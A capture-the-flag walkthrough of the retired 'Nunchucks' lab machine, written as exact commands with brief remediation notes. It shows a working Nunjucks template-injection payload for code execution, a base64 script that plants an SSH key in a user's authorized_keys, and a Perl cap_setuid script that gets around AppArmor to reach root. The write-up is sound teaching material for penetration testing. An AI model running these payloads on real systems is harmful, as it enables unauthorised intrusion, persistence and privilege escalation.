Nunchucks
Summary
The HTTPS service carries a second virtual host, a Node.js newsletter application whose subscription endpoint hands the submitted address to the Nunjucks template engine as a template rather than as data. Nunjucks reaches JavaScript's Function constructor through the range built-in's prototype chain, which turns an arithmetic proof into arbitrary Node execution.
I used it to write my own public key into david's authorized_keys, which is a quieter and more reliable foothold than hunting for a private key that may not be readable. From that session the escalation is a capability rather than a SUID bit: the Perl binary carries cap_setuid, so a Perl process can take uid 0 for itself, and a script run by its shebang is the form that reaches it.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Some commands also carry a value in angle brackets — <the-base64-from-above> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 5
Three ports, and 80 redirects to 443.
$ nmap -sV -sC -p 22,80,443 --open $TARGETThe site links to its own second hostname; nothing else discloses it.
$ curl -sk https://nunchucks.htb/ | grep -oE '[a-z0-9.-]*nunchucks\.htb'Both names to one address, so the reverse proxy can tell which site is wanted.
$ echo "$TARGET nunchucks.htb store.nunchucks.htb" | sudo tee -a /etc/hostsThe subscription form's fetch call: one field, named email, posted as JSON.
$ curl -sk https://store.nunchucks.htb/assets/js/main.js | grep -A5 'api/submit'An uncaught parse error prints the application's path on disk.
$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d 'not-json'Exact commands 1
SSTI arithmetic probe — '49' in the response confirms server-side template evaluation.
$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit -d '{"email":"{{7*7}}"}'FixNever pass user input to a template engine as template sourceCritical
Exact commands 4
The constructor chain is the whole gadget. Expect the web account's uid in the response.
$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit \
-d '{"email":"{{range.constructor(\"return global.process.mainModule.require(\x27child_process\x27).execSync(\x27id\x27).toString()\")()}}"}'Generated here. The private half never leaves my machine, which is the point.
$ ssh-keygen -q -t ed25519 -N '' -f /tmp/nunchucks_david && cat /tmp/nunchucks_david.pubBase64 first: the payload crosses a JSON string inside a template inside a URL, and quoting it twice is how it breaks.
$ printf '%s\n' "mkdir -p /home/david/.ssh; chmod 700 /home/david/.ssh; "\
"echo '$(cat /tmp/nunchucks_david.pub)' >> /home/david/.ssh/authorized_keys; "\
"chmod 600 /home/david/.ssh/authorized_keys" | base64 -w0The same gadget, carrying the script instead of a command.
$ curl -sk -H 'Content-Type: application/json' -X POST https://store.nunchucks.htb/api/submit \
-d '{"email":"{{range.constructor(\"return global.process.mainModule.require(\x27child_process\x27).execSync(\x27echo <the-base64-from-above>|base64 -d|bash\x27).toString()\")()}}"}'Exact commands 2
SSH refuses a key file other accounts can read.
$ chmod 600 /tmp/nunchucks_david-> <user.txt>
$ ssh -i /tmp/nunchucks_david -o StrictHostKeyChecking=no david@$TARGET 'id; cat ~/user.txt'Exact commands 2
From david's session. An interpreter with cap_setuid is a root shell waiting for a script.
$ getcap -r / 2>/dev/nullFrom david's session. The confinement profile that the next step's invocation form gets around.
$ aa-status 2>/dev/null | grep -i perlFixRemove the cap_setuid capability from the Perl interpreterCritical
Exact commands 2
From david's session. Write the escalation script. The shebang is the bypass mechanism — the kernel invokes Perl directly, outside the AppArmor profile.
$ cat > /tmp/a.pl <<'EOF'
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec '/bin/sh', '-p', '-c', 'id; cat /root/root.txt';
EOFFrom david's session. Execute as a file — NOT 'perl /tmp/a.pl'. AppArmor is bypassed, POSIX::setuid(0) succeeds via cap_setuid. Root flag: <root.txt>
$ chmod +x /tmp/a.pl && /tmp/a.plFixExtend the AppArmor Perl profile to cover shebang-invoked executionHigh
Attack patterns used
The transferable techniques behind this compromise.
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 443/tcp | http recon-sweep-discovered |